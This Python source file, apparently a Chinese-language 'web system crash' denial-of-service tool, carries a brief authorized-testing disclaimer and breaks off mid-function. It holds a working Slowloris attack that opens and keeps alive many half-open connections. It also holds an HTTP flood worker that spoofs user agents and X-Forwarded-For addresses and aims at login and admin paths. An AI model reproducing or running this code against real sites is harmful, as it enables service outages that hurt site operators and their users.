w2d

#!/usr/bin/env python3
# 帝兵-筷子 | Web系统崩溃终极决策平台
# 作者: 跨紫大帝
# 警告：仅用于授权的压力测试和防护验证

import os
import sys
import time
import socket
import random
import threading
import requests
import subprocess
import concurrent.futures
from datetime import datetime
from urllib.parse import urlparse, urljoin
import asyncio
import aiohttp
import ssl
from colorama import init, Fore, Style

# 初始化颜色
init(autoreset=True)

# ========== 终极崩溃攻击引擎 ==========
class WebCrashEngine:
    """Web系统崩溃终极引擎"""
   
    def __init__(self, target_url):
        self.target = target_url
        self.parsed = urlparse(target_url)
        self.host = self.parsed.netloc
        self.base_path = self.parsed.path or '/'
        self.attack_log = []
        self.crash_success = False
        
    def log_attack(self, attack_type, result):
        """记录攻击结果"""
        timestamp = datetime.now().strftime("%H:%M:%S")
        self.attack_log.append({
            'time': timestamp,
            'type': attack_type,
            'result': result
        })
        print(f"{Fore.CYAN}[{timestamp}] {Fore.YELLOW}[{attack_type}] {Fore.WHITE}{result}{Style.RESET_ALL}")

# ========== 1. 超大规模并发DDoS攻击 ==========
class MassConcurrencyAttacker:
    """超大规模并发连接攻击"""
   
    def __init__(self, target, engine):
        self.target = target
        self.engine = engine
        self.sockets = []
        self.keep_alive = True
        
    def slowloris_attack(self, sockets_count=1000):
        """Slowloris攻击 - 保持大量半开连接"""
        self.engine.log_attack("SLOWLORIS", f"启动 {sockets_count} 个慢连接")
        
        # 创建大量HTTP连接但不发送完整请求
        for i in range(sockets_count):
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(4)
                sock.connect((self.engine.host, 80))
               
                # 发送不完整的HTTP请求头
                sock.send(f"GET {self.engine.base_path} HTTP/1.1\r\n".encode())
                sock.send(f"Host: {self.engine.host}\r\n".encode())
                sock.send("User-Agent: Mozilla/5.0\r\n".encode())
                sock.send("Accept: text/html,application/xhtml+xml\r\n".encode())
                # 故意不发送空行结束请求
               
                self.sockets.append(sock)
               
                # 定期发送一些数据保持连接
                threading.Timer(random.uniform(10, 20),
                              lambda s=sock: self.keep_slowloris_alive(s)).start()
               
            except Exception as e:
                continue
        
        return len(self.sockets)
   
    def keep_slowloris_alive(self, sock):
        """保持Slowloris连接"""
        if self.keep_alive and sock:
            try:
                sock.send(f"X-a: {random.randint(1, 5000)}\r\n".encode())
                # 继续维持连接
                threading.Timer(random.uniform(10, 20),
                              lambda s=sock: self.keep_slowloris_alive(s)).start()
            except:
                pass
   
    def http_flood_attack(self, threads=500, duration=60):
        """HTTP洪水攻击"""
        self.engine.log_attack("HTTP_FLOOD", f"启动 {threads} 线程洪水攻击")
        
        user_agents = [
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
            'Googlebot/2.1 (+http://www.google.com/bot.html)',
            'curl/7.68.0',
            'python-requests/2.25.1'
        ]
        
        attack_paths = [
            self.engine.base_path,
            '/wp-admin/admin-ajax.php',
            '/admin/login.php',
            '/api/v1/users',
            '/search?q=' + 'a' * 1000,
            '/upload',
            '/data/report'
        ]
        
        def flood_worker(worker_id):
            end_time = time.time() + duration
            request_count = 0
            
            while time.time() < end_time and self.keep_alive:
                try:
                    # 随机选择攻击路径
                    path = random.choice(attack_paths)
                    url = f"{self.target.rstrip('/')}{path}"
                    
                    # 随机请求头
                    headers = {
                        'User-Agent': random.choice(user_agents),
                        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                        'Accept-Language': 'en-US,en;q=0.9',
                        'Accept-Encoding': 'gzip, deflate, br',
                        'Connection': 'keep-alive',
                        'Cache-Control': 'no-cache',
                        'Pragma': 'no-cache',
                        'X-Forwarded-For': f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
                    }
                    
                    # 发送请求
                    response = requests.get(
                        url,
                        headers=headers,
                        timeout=2,
                        verify=False